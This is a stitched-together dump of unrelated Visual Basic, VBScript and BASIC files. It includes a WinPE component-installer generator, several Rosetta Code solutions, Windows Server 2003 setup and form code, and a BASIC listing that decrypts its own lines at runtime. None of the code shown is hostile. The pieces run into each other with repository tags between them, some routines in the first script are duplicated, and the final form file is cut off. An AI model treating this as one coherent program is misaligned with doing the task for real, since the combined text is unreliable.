FILE.WriteLine ("Regsvr32 %SystemRoot%\System32\jscript.dll /S")
FILE.WriteLine ("Regsvr32 %SystemRoot%\System32\scrobj.dll /S")
FILE.WriteLine ("Regsvr32 %SystemRoot%\System32\scrrun.dll /S")
FILE.WriteLine ("Regsvr32 %SystemRoot%\System32\vbscript.dll /S")
FILE.WriteLine ("Regsvr32 %SystemRoot%\System32\wshext.dll /S")
FILE.WriteLine ("Regsvr32 %SystemRoot%\System32\wshom.ocx /S")
FILE.WriteLine ("Regsvr32 %SystemRoot%\System32\mlang.dll /S")
FILE.WriteLine ("Regsvr32 %SystemRoot%\System32\urlmon.dll /S")
FILE.WriteLine ("")
FILE.WriteLine ("REM - INSTALL FILE ASSOCIATIONS FOR WSH")
FILE.WriteLine ("%SystemRoot%\System32\rundll32.exe setupapi,InstallHinfSection DefaultInstall 132 WSH.inf")
END IF
IF makeHTA = 1 THEN
FILE.WriteLine ("")
FILE.WriteLine ("REM - INSTALL HTA COMPONENTS")
FILE.WriteLine ("%SystemRoot%\System32\mshta.exe /register")
FILE.WriteLine ("Regsvr32 %SystemRoot%\System32\asctrls.ocx /S")
FILE.WriteLine ("Regsvr32 %SystemRoot%\System32\plugin.ocx /S")
FILE.WriteLine ("Regsvr32 %SystemRoot%\System32\actxprxy.dll /S")
FILE.WriteLine ("Regsvr32 %SystemRoot%\System32\atl.dll /S")
FILE.WriteLine ("Regsvr32 %SystemRoot%\System32\corpol.dll /S")
FILE.WriteLine ("Regsvr32 %SystemRoot%\System32\cryptdlg.dll /S")
FILE.WriteLine ("Regsvr32 %SystemRoot%\System32\ddrawex.dll /S")
FILE.WriteLine ("Regsvr32 %SystemRoot%\System32\dispex.dll /S")
FILE.WriteLine ("Regsvr32 %SystemRoot%\System32\dxtmsft.dll /S")
FILE.WriteLine ("Regsvr32 %SystemRoot%\System32\dxtrans.dll /S")
FILE.WriteLine ("Regsvr32 %SystemRoot%\System32\hlink.dll /S")
FILE.WriteLine ("Regsvr32 %SystemRoot%\System32\iedkcs32.dll /S")
FILE.WriteLine ("Regsvr32 %SystemRoot%\System32\iepeers.dll /S")
FILE.WriteLine ("Regsvr32 %SystemRoot%\System32\iesetup.dll /S")
FILE.WriteLine ("Regsvr32 %SystemRoot%\System32\imgutil.dll /S")
FILE.WriteLine ("Regsvr32 %SystemRoot%\System32\inseng.dll /S")
FILE.WriteLine ("Regsvr32 %SystemRoot%\System32\itircl.dll /S")
FILE.WriteLine ("Regsvr32 %SystemRoot%\System32\itss.dll /S")
FILE.WriteLine ("Regsvr32 %SystemRoot%\System32\licmgr10.dll /S")
FILE.WriteLine ("%SystemRoot%\System32\rundll32.exe setupapi,InstallHinfSection reg 132 mshtml.inf")
FILE.WriteLine ("Regsvr32 %SystemRoot%\System32\mshtmled.dll /S")
FILE.WriteLine ("Regsvr32 %SystemRoot%\System32\msrating.dll /S")
FILE.WriteLine ("Regsvr32 %SystemRoot%\System32\mstime.dll /S")
FILE.WriteLine ("Regsvr32 %SystemRoot%\System32\olepro32.dll /S")
FILE.WriteLine ("Regsvr32 %SystemRoot%\System32\sendmail.dll /S")
FILE.WriteLine ("")
FILE.WriteLine ("REM - INSTALL FILE ASSOCIATIONS FOR HTA")
FILE.WriteLine ("%SystemRoot%\System32\rundll32.exe setupapi,InstallHinfSection DefaultInstall 132 HTA.inf")
END IF
IF makeADO = 1 THEN
FILE.WriteLine ("")
FILE.WriteLine ("REM - INSTALL ADO COMPONENTS")
FILE.WriteLine ("regsvr32 %SystemDrive%""\Program Files\Common Files\System\msadc\msadce.dll"" /S")
FILE.WriteLine ("regsvr32 %SystemDrive%""\Program Files\Common Files\System\msadc\msadcf.dll"" /S")
FILE.WriteLine ("regsvr32 %SystemDrive%""\Program Files\Common Files\System\msadc\msadco.dll"" /S")
FILE.WriteLine ("regsvr32 %SystemDrive%""\Program Files\Common Files\System\msadc\msadds.dll"" /S")
FILE.WriteLine ("regsvr32 %SystemDrive%""\Program Files\Common Files\System\ado\msado15.dll"" /S")
FILE.WriteLine ("regsvr32 %SystemDrive%""\Program Files\Common Files\System\ado\msadomd.dll"" /S")
FILE.WriteLine ("regsvr32 %SystemDrive%""\Program Files\Common Files\System\ado\msador15.dll"" /S")
FILE.WriteLine ("regsvr32 %SystemDrive%""\Program Files\Common Files\System\ado\msadoX.dll"" /S")
FILE.WriteLine ("regsvr32 %SystemDrive%""\Program Files\Common Files\System\ado\msadrh15.dll"" /S")
FILE.WriteLine ("regsvr32 %SystemDrive%""\Program Files\Common Files\System\Ole DB\msdadc.dll"" /S")
FILE.WriteLine ("regsvr32 %SystemDrive%""\Program Files\Common Files\System\Ole DB\msdaenum.dll"" /S")
FILE.WriteLine ("regsvr32 %SystemDrive%""\Program Files\Common Files\System\Ole DB\msdaer.dll"" /S")
FILE.WriteLine ("regsvr32 %SystemDrive%""\Program Files\Common Files\System\Ole DB\msdaora.dll"" /S")
FILE.WriteLine ("regsvr32 %SystemDrive%""\Program Files\Common Files\System\Ole DB\msdaosp.dll"" /S")
FILE.WriteLine ("regsvr32 %SystemDrive%""\Program Files\Common Files\System\msadc\msdarem.dll"" /S")
FILE.WriteLine ("regsvr32 %SystemDrive%""\Program Files\Common Files\System\Ole DB\msdasc.dll"" /S")
FILE.WriteLine ("regsvr32 %SystemDrive%""\Program Files\Common Files\System\Ole DB\msdasql.dll"" /S")
FILE.WriteLine ("regsvr32 %SystemDrive%""\Program Files\Common Files\System\Ole DB\msdatt.dll"" /S")
FILE.WriteLine ("regsvr32 %SystemDrive%""\Program Files\Common Files\System\Ole DB\msdaurl.dll"" /S")
FILE.WriteLine ("regsvr32 %SystemDrive%""\Program Files\Common Files\System\msadc\msdfmap.dll"" /S")
FILE.WriteLine ("regsvr32 %SystemDrive%""\Program Files\Common Files\System\ado\msjro.dll"" /S")
FILE.WriteLine ("regsvr32 %SystemRoot%\System32\msorcl32.dll /S")
FILE.WriteLine ("regsvr32 %SystemDrive%""\Program Files\Common Files\System\Ole DB\msxactps.dll"" /S")
FILE.WriteLine ("regsvr32 %SystemRoot%\System32\odbcconf.dll /S")
FILE.WriteLine ("regsvr32 %SystemDrive%""\Program Files\Common Files\System\Ole DB\oledb32.dll"" /S")
FILE.WriteLine ("regsvr32 %SystemDrive%""\Program Files\Common Files\System\Ole DB\oledb32r.dll"" /S")
FILE.WriteLine ("regsvr32 %SystemDrive%""\Program Files\Common Files\System\Ole DB\sqloledb.dll"" /S")
FILE.WriteLine ("regsvr32 %SystemDrive%""\Program Files\Common Files\System\Ole DB\sqlxmlx.dll"" /S")
FILE.WriteLine ("regsvr32 %SystemRoot%\System32\CLBCATQ.DLL /S")
FILE.WriteLine ("regsvr32 %SystemRoot%\system32\colbact.DLL /S")
FILE.WriteLine ("regsvr32 %SystemRoot%\system32\comsvcs.dll /S")
FILE.WriteLine ("regsvr32 %SystemRoot%\System32\MSCTF.dll /S")
FILE.WriteLine ("regsvr32 %SystemRoot%\system32\ole32.dll /S")
END IF
FILE.WriteLine ("EXIT")
FILE.Close
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'-----FILES READY - ASK IF THE USER WANTS TO EXPLORE TO THEM.
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
IF makeADO = 1 THEN
strADOcpDirections = " Copy the Program Files directory to the root of your WinPE image - "&_
"the same folder level as the "&iArchDir&" folder."&vbCrLF
END IF
IF strOptionalDestination = "" THEN
strFinalLocation = "on your computer's desktop in the folder """&strFolderName&"""."&vbCrLF&vbCrLF
ELSE
strFinalLocation = "in the folder you specified: "&strOptionalDestination&vbCrLF&vbCrLF
END IF
IF iAmQuiet = 0 THEN
IF iWillBrowse = 1 THEN
strAsk = ""
iAsk = 0
ELSE
strAsk = "Would you like to open this folder now?"
iAsk = 36
END IF
strWantToView = MsgBox("This script has retrieved all files needed to "&_
"install these optional components in Windows PE:"&vbCrLF&vbCrLF&strComps&_
"The files are located "&strFinalLocation&_
"To install these components:"&vbCrLF&vbCrLF&_
" Copy the "&iArchDir&" folder onto an existing "&iArchDir&" folder in your WinPE image."&vbCrLF&strADOcpDirections&_
" Modify your startnet.cmd to run the file ""OC.bat"" (without quotes)."&vbCrLF&vbCrLF&_
"The following are in the Samples folder. These may be useful to test the functionality of "&_
"the optional components."&vbCrLF&vbCrLF&strSamples&_
strAsk, iAsk, strJobTitle)
END IF
IF strWantToView = 6 OR iWillBrowse = 1 THEN
WshShell.Run("Explorer "&strDestFolder)
END IF
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'-----WMI TEST OF CD LOADED AND CD READ INTEGRITY.
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
SUB TestForMedia()
IF CDDrive.MediaLoaded(0) = FALSE THEN
MsgBox "Please place the Windows XP "&strPlatName&" CD in drive "&strOptionalSource&" before continuing.", vbCritical, "No CD in drive "&strOptionalSource&""
WScript.Quit
ELSE
IF CDDrive.DriveIntegrity(0) = FALSE THEN
MsgBox "Could not read files from the CD in drive "&strOptionalSource&".", vbCritical, "CD in drive "&strOptionalSource&" is unreadable."
WScript.Quit
END IF
END IF
END SUB
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'-----FSO TEST TO SEE IF THE CMDLINE PROVIDED FOLDER EXISTS.
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
FUNCTION TestForFolder(a)
IF NOT FSO.FolderExists(a) THEN
FailOut()
END IF
END FUNCTION
SUB Validate(a)
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'-----TEST FOR THE EXISTANCE OF A FOLDER OR FILE, OR THE NONEXISTANCE OF A FILE.
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
TestForFolder(strOptionalSource&"\"&a&"")
TestForFolder(strOptionalSource&"\DOCS")
IF iArchDir = "I386" THEN
TestForFolder(strOptionalSource&"\SUPPORT")
END IF
TestForFolder(strOptionalSource&"\VALUEADD")
TestForFile(strOptionalSource&"\"&a&"\System32\smss.exe")
TestForFile(strOptionalSource&"\"&a&"\System32\ntdll.dll")
TestForFile(strOptionalSource&"\"&a&"\winnt32.exe")
TestForFile(strOptionalSource&"\setup.exe")
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'-----TEST TO INSURE THAT THEY AREN'T TRYING TO INSTALL FROM Windows PE CD ITSELF
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Set Folder = FSO.GetFolder(strOptionalSource&"\"&a&"\System32")
IF Folder.Files.Count > 10 THEN
FailOut()
END IF
END SUB
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'-----FUNCTIONS TO TEST FOR THE EXISTANCE OF A FOLDER OR FILE, OR THE NONEXISTANCE OF A FILE.
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
FUNCTION TestForFolder(a)
IF NOT FSO.FolderExists(a) THEN
FailOut()
END IF
END FUNCTION
FUNCTION TestForFile(a)
IF NOT FSO.FileExists(a) THEN
FailOut()
END IF
END FUNCTION
FUNCTION TestNoFile(a)
IF FSO.FileExists(a) THEN
FailOut()
END IF
END FUNCTION
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'-----FUNCTIONS TO TEST FOR THE EXISTANCE OF A FOLDER. IF IT ISN'T THERE, IT CREATES IT
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
FUNCTION CheckNMakeFolder(a)
IF NOT FSO.FolderExists(a) THEN
FSO.CreateFolder(a)
END IF
END FUNCTION
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'-----GENERIC ERROR IF WE FAIL MEDIA RECOGNITION.
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
SUB FailOut()
MsgBox strOptionalSource&" does not appear to contain Windows XP "&strPlatName&".", vbCritical, "Not a valid copy of Windows XP"
WScript.Quit
END SUB
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'-----WMI TEST OF CD LOADED AND CD READ INTEGRITY.
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
SUB TestForMedia()
IF CDDrive.MediaLoaded(0) = FALSE THEN
MsgBox "Please place the Windows XP "&strPlatName&" CD in drive "&strOptionalSource&" before continuing.", vbCritical, "No CD in drive "&strOptionalSource&""
WScript.Quit
ELSE
IF CDDrive.DriveIntegrity(0) = FALSE THEN
MsgBox "Could not read files from the CD in drive "&strOptionalSource&".", vbCritical, "CD in drive "&strOptionalSource&" is unreadable."
WScript.Quit
END IF
END IF
END SUB
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'-----ADD DATE, AND ADD ZEROS SO WE DON'T HAVE A GIBBERISH TIMESTAMP ON UNIQUE FOLDERNAME.
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
SUB GetUnique()
strAppend=FixUp(Hour(Now()))&FixUp(Minute(Now()))&FixUp(Second(Now()))
IF Len(strAppend) = 5 THEN
strAppend = strAppend&"0"
ELSEIF Len(strAppend) = 4 THEN
strAppend = strAppend&"00"
END IF
END SUB
FUNCTION FixUp(a)
If Len(a) = 1 THEN
FixUp = 0&a
ELSE
Fixup = a
END IF
END FUNCTION
FUNCTION CleanLocation(a)
CleanLocation = REPLACE(a, """", "")
END FUNCTION
|
Sub spiral(n As Integer)
Const FREE = -9 'negative number indicates unoccupied cell
Dim A() As Integer
Dim rowdelta(3) As Integer
Dim coldelta(3) As Integer
'initialize A to a matrix with an extra "border" of occupied cells
'this avoids having to test if we've reached the edge of the matrix
ReDim A(0 To n + 1, 0 To n + 1)
'Since A is initialized with zeros, setting A(1 to n,1 to n) to "FREE"
'leaves a "border" around it occupied with zeroes
For i = 1 To n: For j = 1 To n: A(i, j) = FREE: Next: Next
'set amount to move in directions "right", "down", "left", "up"
rowdelta(0) = 0: coldelta(0) = 1
rowdelta(1) = 1: coldelta(1) = 0
rowdelta(2) = 0: coldelta(2) = -1
rowdelta(3) = -1: coldelta(3) = 0
curnum = 0
'set current cell position
col = 1
row = 1
'set current direction
theDir = 0 'theDir = 1 will fill the matrix counterclockwise
'ok will be true as long as there is a free cell left
ok = True
Do While ok
'occupy current FREE cell and increase curnum
A(row, col) = curnum
curnum = curnum + 1
'check if next cell in current direction is free
'if not, try another direction in clockwise fashion
'if all directions lead to occupied cells then we are finished!
ok = False
For i = 0 To 3
newdir = (theDir + i) Mod 4
If A(row + rowdelta(newdir), col + coldelta(newdir)) = FREE Then
'yes, move to it and change direction if necessary
theDir = newdir
row = row + rowdelta(theDir)
col = col + coldelta(theDir)
ok = True
Exit For
End If
Next i
Loop
'print result
For i = 1 To n
For j = 1 To n
Debug.Print A(i, j),
Next
Debug.Print
Next
End Sub
|
verifydistribution "dice7", 1000, 0.03
verifydistribution "dice7", 100000, 0.03
|
<gh_stars>10-100
VERSION 5.00
Begin VB.Form Form1
Caption = "Form1"
ClientHeight = 3195
ClientLeft = 60
ClientTop = 345
ClientWidth = 4680
LinkTopic = "Form1"
ScaleHeight = 3195
ScaleWidth = 4680
StartUpPosition = 3 'Windows Default
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub Form_Load()
Dim sd As New SecurityDescriptor
Dim ace As New AccessControlEntry
Dim acl As New AccessControlList
Dim path As SWbemObjectPathEx
Set path = CreateObject("WbemScripting.SWbemObjectPath")
ace.AccessMask = ADS_RIGHTS_ENUM.ADS_RIGHT_ACCESS_SYSTEM_SECURITY
Debug.Print ace.AccessMask
acl.AddAce ace
sd.DiscretionaryAcl = acl
End Sub
|
Function StringCase()
Dim s As String
s = "alphaBETA"
Debug.Print UCase(s)
Debug.Print LCase(s)
Debug.Print WorksheetFunction.Proper(s)
End Function
|
<gh_stars>1-10
Sub foo1()
err.raise(vbObjectError + 1050)
End Sub
Sub foo2()
Error vbObjectError + 1051
End Sub
|
<reponame>LaudateCorpus1/RosettaCodeData
Sub test()
Dim a As Integer
a = 41
Debug.Assert a = 42
End Sub
|
<gh_stars>1-10
Option Explicit
Sub Main_Bulls_And_Cows_Player()
Dim collSoluces As New Collection, Elem As Variant, Soluce As String
Dim strNumber As String, cpt As Byte, p As Byte
Dim i As Byte, Bulls() As Boolean, NbBulls As Byte, Cows As Byte, Poss As Long
Const NUMBER_OF_DIGITS As Byte = 4
strNumber = CreateNb(NUMBER_OF_DIGITS)
Debug.Print "TOSS : " & StrConv(strNumber, vbUnicode)
Debug.Print "---------- START ------------"
Set collSoluces = CollOfPossibleNumbers
Poss = collSoluces.Count
For Each Elem In collSoluces
'Debug.Print "Number of possibilities : " & Poss
Debug.Print "Attempt : " & StrConv(Elem, vbUnicode)
NbBulls = 0: Soluce = Elem
ReDim Bulls(NUMBER_OF_DIGITS - 1)
For i = 1 To NUMBER_OF_DIGITS
If IsBull(strNumber, Mid(Elem, i, 1), i) Then
Bulls(i - 1) = True: NbBulls = NbBulls + 1
RemoveIfNotBull collSoluces, Mid(Elem, i, 1), i
End If
Next i
Cows = 0
For i = 1 To NUMBER_OF_DIGITS
If Not Bulls(i - 1) Then
If IsCow(collSoluces, strNumber, Mid(Elem, i, 1), p) Then
If Not Bulls(p - 1) Then Cows = Cows + 1
End If
End If
Next i
Poss = collSoluces.Count
Debug.Print "Bulls : " & NbBulls & ", Cows : " & Cows
If Poss = 1 Then Exit For
Next
Debug.Print "---------- THE END ------------"
Debug.Print "TOSS WAS : " & StrConv(strNumber, vbUnicode) & " We found : " & StrConv(Soluce, vbUnicode)
End Sub
Function CreateNb(NbDigits As Byte) As String
Dim myColl As New Collection
Dim strTemp As String
Dim bytAlea As Byte
Randomize
Do
bytAlea = Int((Rnd * 9) + 1)
On Error Resume Next
myColl.Add CStr(bytAlea), CStr(bytAlea)
If Err <> 0 Then
On Error GoTo 0
Else
strTemp = strTemp & CStr(bytAlea)
End If
Loop While Len(strTemp) < NbDigits
CreateNb = strTemp
End Function
Function CollOfPossibleNumbers() As Collection
Dim TempColl As New Collection
Dim x As String
Dim i As Long
Dim Flag As Boolean
Dim b As Byte
For i = 1234 To 9876
Flag = False
For b = 1 To 4
x = CStr(i)
If Len(Replace(x, Mid(x, b, 1), "")) < 3 Then
Flag = True: Exit For
End If
Next
If Not Flag Then TempColl.Add x, x
Next i
Set CollOfPossibleNumbers = TempColl
End Function
Function IsBull(strgNb As String, Digit As String, place As Byte) As Boolean
IsBull = (Mid(strgNb, place, 1) = Digit)
End Function
Function IsCow(C As Collection, strgNb As String, Digit As String, place As Byte) As Boolean
If (InStr(strgNb, Digit) > 0) Then
IsCow = True: place = InStr(strgNb, Digit)
RemoveIfNotCow C, Digit
End If
End Function
Sub RemoveIfNotBull(C As Collection, Digit As String, place As Byte)
Dim E As Variant
For Each E In C
If Mid(E, place, 1) <> Digit Then C.Remove E
Next
End Sub
Sub RemoveIfNotCow(C As Collection, Digit As String)
Dim E As Variant
For Each E In C
If (InStr(E, Digit) = 0) Then C.Remove E
Next
End Sub
|
<reponame>LaudateCorpus1/RosettaCodeData
Debug.Print Hex(MaskL(8)) 'FF000000
Debug.Print Hex(MaskR(8)) 'FF
Debug.Print Hex(Bit(7)) '80
Debug.Print Hex(ShiftL(-1, 8)) 'FFFFFF00
Debug.Print Hex(ShiftL(-1, -8)) 'FFFFFF
Debug.Print Hex(ShiftR(-1, 8)) 'FFFFFF
Debug.Print Hex(ShiftR(-1, -8)) 'FFFFFF00
Debug.Print Hex(RotateL(65535, 8)) 'FFFF00
Debug.Print Hex(RotateL(65535, -8)) 'FF0000FF
Debug.Print Hex(RotateR(65535, 8)) 'FF0000FF
Debug.Print Hex(RotateR(65535, -8)) 'FFFF00
|
Function BackupFiles()
dim fso
dim strWindows
dim strNewName
dim strCurrentName
on error resume next
strWindows = Session.Property( "WindowsFolder" )
strNewName = strWindows & "Help\suptoolsold.chm"
strCurrentName = strWindows & "Help\suptools.chm"
set fso = createobject( "scripting.filesystemobject" )
if not fso is nothing then
if fso.FileExists( strNewName ) then
fso.DeleteFile strNewName, true
end if
fso.MoveFile strCurrentName, strNewName
set fso = nothing
end if
BackupFiles = 1
End Function
|
Dim WshShell
Set WshShell = WScript.CreateObject("WScript.Shell")
On Error Resume Next
WshShell.RegDelete "HKLM\software\Microsoft\ServerAppliance\ElementManager\WebElementDefinitions\TabsMail\"
WshShell.RegDelete "HKLM\software\Microsoft\ServerAppliance\ElementManager\WebElementDefinitions\TabsMailMasterSettings\"
WshShell.RegDelete "HKLM\software\Microsoft\ServerAppliance\ElementManager\WebElementDefinitions\TabsMailDomains\"
|
<reponame>npocmaka/Windows-Server-2003
Public Class ListForm
Inherits System.Windows.Forms.Form
#Region " Windows Form Designer generated code "
Public Sub New()
MyBase.New()
'This call is required by the Windows Form Designer.
InitializeComponent()
'Add any initialization after the InitializeComponent() call
End Sub
'Form overrides dispose to clean up the component list.
Protected Overloads Overrides Sub Dispose(ByVal disposing As Boolean)
If disposing Then
If Not (components Is Nothing) Then
components.Dispose()
End If
End If
MyBase.Dispose(disposing)
End Sub
Friend WithEvents Panel2 As System.Windows.Forms.Panel
Friend WithEvents TabControl1 As System.Windows.Forms.TabControl
Friend WithEvents LogTab As System.Windows.Forms.TabPage
Friend WithEvents ErrTab As System.Windows.Forms.TabPage
Friend WithEvents TheList As System.Windows.Forms.ListBox
Friend WithEvents ErrList As System.Windows.Forms.ListBox
'Required by the Windows Form Designer
Private components As System.ComponentModel.Container
'NOTE: The following procedure is required by the Windows Form Designer
'It can be modified using the Windows Form Designer.
'Do not modify it using the code editor.
<System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
Dim resources As System.Resources.ResourceManager = New System.Resources.ResourceManager(GetType(ListForm))
Me.ErrTab = New System.Windows.Forms.TabPage()
Me.ErrList = New System.Windows.Forms.ListBox()
Me.TheList = New System.Windows.Forms.ListBox()
Me.TabControl1 = New System.Windows.Forms.TabControl()
Me.LogTab = New System.Windows.Forms.TabPage()
Me.Panel2 = New System.Windows.Forms.Panel()
Me.ErrTab.SuspendLayout()
Me.TabControl1.SuspendLayout()
Me.LogTab.SuspendLayout()
Me.Panel2.SuspendLayout()
Me.SuspendLayout()
'
'ErrTab
'
Me.ErrTab.Controls.AddRange(New System.Windows.Forms.Control() {Me.ErrList})
Me.ErrTab.Location = New System.Drawing.Point(4, 22)
Me.ErrTab.Name = "ErrTab"
Me.ErrTab.Size = New System.Drawing.Size(296, 228)
Me.ErrTab.TabIndex = 1
Me.ErrTab.Text = "Errors"
'
'ErrList
'
Me.ErrList.Dock = System.Windows.Forms.DockStyle.Fill
Me.ErrList.Name = "ErrList"
Me.ErrList.Size = New System.Drawing.Size(296, 225)
Me.ErrList.TabIndex = 0
'
'TheList
'
Me.TheList.Dock = System.Windows.Forms.DockStyle.Fill
Me.TheList.Name = "TheList"
Me.TheList.ScrollAlwaysVisible = True
Me.TheList.Size = New System.Drawing.Size(296, 225)
Me.TheList.TabIndex = 0
'
'TabControl1
'
Me.TabControl1.Controls.AddRange(New System.Windows.Forms.Control() {Me.LogTab, Me.ErrTab})
Me.TabControl1.Dock = System.Windows.Forms.DockStyle.Fill
Me.TabControl1.Name = "TabControl1"
Me.TabControl1.SelectedIndex = 0
Me.TabControl1.Size = New System.Drawing.Size(304, 254)
Me.TabControl1.TabIndex = 1
'
'LogTab
'
Me.LogTab.Controls.AddRange(New System.Windows.Forms.Control() {Me.TheList})
Me.LogTab.Location = New System.Drawing.Point(4, 22)
Me.LogTab.Name = "LogTab"
Me.LogTab.Size = New System.Drawing.Size(296, 228)
Me.LogTab.TabIndex = 0
Me.LogTab.Text = "Log"
'
'Panel2
'
Me.Panel2.Controls.AddRange(New System.Windows.Forms.Control() {Me.TabControl1})
Me.Panel2.Dock = System.Windows.Forms.DockStyle.Fill
Me.Panel2.Name = "Panel2"
Me.Panel2.Size = New System.Drawing.Size(304, 254)
Me.Panel2.TabIndex = 2
'
'ListForm
'
Me.AutoScaleBaseSize = New System.Drawing.Size(5, 13)
Me.ClientSize = New System.Drawing.Size(304, 254)
Me.Controls.AddRange(New System.Windows.Forms.Control() {Me.Panel2})
Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
Me.Name = "ListForm"
Me.Text = "ListForm"
Me.TopMost = True
Me.ErrTab.ResumeLayout(False)
Me.TabControl1.ResumeLayout(False)
Me.LogTab.ResumeLayout(False)
Me.Panel2.ResumeLayout(False)
Me.ResumeLayout(False)
End Sub
#End Region
Public Sub Log(ByVal line As String)
TheList.SelectedIndex = TheList.Items.Add(line)
End Sub
Public Sub LogErr(ByVal line As String)
ErrList.SelectedIndex = ErrList.Items.Add(line)
End Sub
Private Sub TheList_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)
'LogText.Text = TheList.SelectedItems(0)
End Sub
End Class
|
Public Sub quine()
quote = Chr(34)
comma = Chr(44)
cont = Chr(32) & Chr(95)
n = Array( _
"Public Sub quine()", _
" quote = Chr(34)", _
" comma = Chr(44)", _
" cont = Chr(32) & Chr(95)", _
" n = Array( _", _
" For i = 0 To 4", _
" Debug.Print n(i)", _
" Next i", _
" For i = 0 To 15", _
" Debug.Print quote & n(i) & quote & comma & cont", _
" Next i", _
" Debug.Print quote & n(15) & quote & Chr(41)", _
" For i = 5 To 15", _
" Debug.Print n(i)", _
" Next i", _
"End Sub")
For i = 0 To 4
Debug.Print n(i)
Next i
For i = 0 To 14
Debug.Print quote & n(i) & quote & comma & cont
Next i
Debug.Print quote & n(15) & quote & Chr(41)
For i = 5 To 15
Debug.Print n(i)
Next i
End Sub
|
# Copyright 2018 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#5 stop
10 ?"start"
# Connect line 50 to the list.
40 poke {rawaddr 50 0 W}, {rawaddr 60 0 L}:poke {rawaddr 50 1 W}, {rawaddr 60 0 H}:poke {rawaddr 50 2 W}, 50
# Do .next=NULL on next line entry.
.slash_list
# Slash list again, this time in runtime.
50 rem yup
#50 poke {rawaddr 50 0 W}, 0:poke {rawaddr 50 1 W}, 0:poke {rawaddr 50 2 W}, 0
#60 ?"works!"
#70 end
60 goto 80
# Decryption routine
70 for i = es to ee
71 k = ( peek(i) + ek ) and 255
73 print i , peek(i) , k : poke i, k
75 next i
76 return
80 ?"it actually worked", {rawaddr 110 -1 W}
85 es = {rawaddr 100 0 W}:ee = {rawaddr 110 -1 W}:ek = &10:gosub 70
99 rem nani
.encrypted_start 0x10
100 ?"decrypted!"
101 ?"this too"
.encrypted_end
110 rem what
# Last line cannot be encrypted.
1000 end
|
<reponame>LaudateCorpus1/RosettaCodeData<filename>Task/Find-common-directory-path/Visual-Basic/find-common-directory-path.vb
Public Function CommonDirectoryPath(ParamArray Paths()) As String
Dim v As Variant
Dim Path() As String, s As String
Dim i As Long, j As Long, k As Long
Const PATH_SEPARATOR As String = "/"
For Each v In Paths
ReDim Preserve Path(0 To i)
Path(i) = v
i = i + 1
Next v
k = 1
Do
For i = 0 To UBound(Path)
If i Then
If InStr(k, Path(i), PATH_SEPARATOR) <> j Then
Exit Do
ElseIf Left$(Path(i), j) <> Left$(Path(0), j) Then
Exit Do
End If
Else
j = InStr(k, Path(i), PATH_SEPARATOR)
If j = 0 Then
Exit Do
End If
End If
Next i
s = Left$(Path(0), j + CLng(k <> 1))
k = j + 1
Loop
CommonDirectoryPath = s
End Function
Sub Main()
' testing the above function
Debug.Assert CommonDirectoryPath( _
"/home/user1/tmp/coverage/test", _
"/home/user1/tmp/covert/operator", _
"/home/user1/tmp/coven/members") = _
"/home/user1/tmp"
Debug.Assert CommonDirectoryPath( _
"/home/user1/tmp/coverage/test", _
"/home/user1/tmp/covert/operator", _
"/home/user1/tmp/coven/members", _
"/home/user1/abc/coven/members") = _
"/home/user1"
Debug.Assert CommonDirectoryPath( _
"/home/user1/tmp/coverage/test", _
"/hope/user1/tmp/covert/operator", _
"/home/user1/tmp/coven/members") = _
"/"
End Sub
|
<filename>inetsrv/iis/utils/vbme/frmsplsh.frm<gh_stars>10-100
VERSION 5.00
Begin VB.Form frmSplash
BorderStyle = 3 'Fixed Dialog
ClientHeight = 4710
ClientLeft = 45
ClientTop = 45
ClientWidth = 7455
ControlBox = 0 'False
LinkTopic = "Form1"
MaxButton = 0 'False
MinButton = 0 'False
ScaleHeight = 4710
ScaleWidth = 7455
ShowInTaskbar = 0 'False
StartUpPosition = 2 'CenterScreen
Tag = "1049"
Visible = 0 'False
Begin VB.Frame fraMainFrame
Height = 4590
Left = 45
TabIndex = 0
Tag = "1050"
Top = -15
Width = 7380
Begin VB.PictureBox picLogo
Height = 2385
Left = 510
Picture = "frmSplsh.frx":0000
ScaleHeight = 2325
ScaleWidth = 1755
TabIndex = 2
Top = 855
Width = 1815
End
Begin VB.Label Label1
Caption = "The OLE Automation Metabase viewer"
BeginProperty Font
Name = "Arial"
Size = 9.75
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 375
Left = 2880
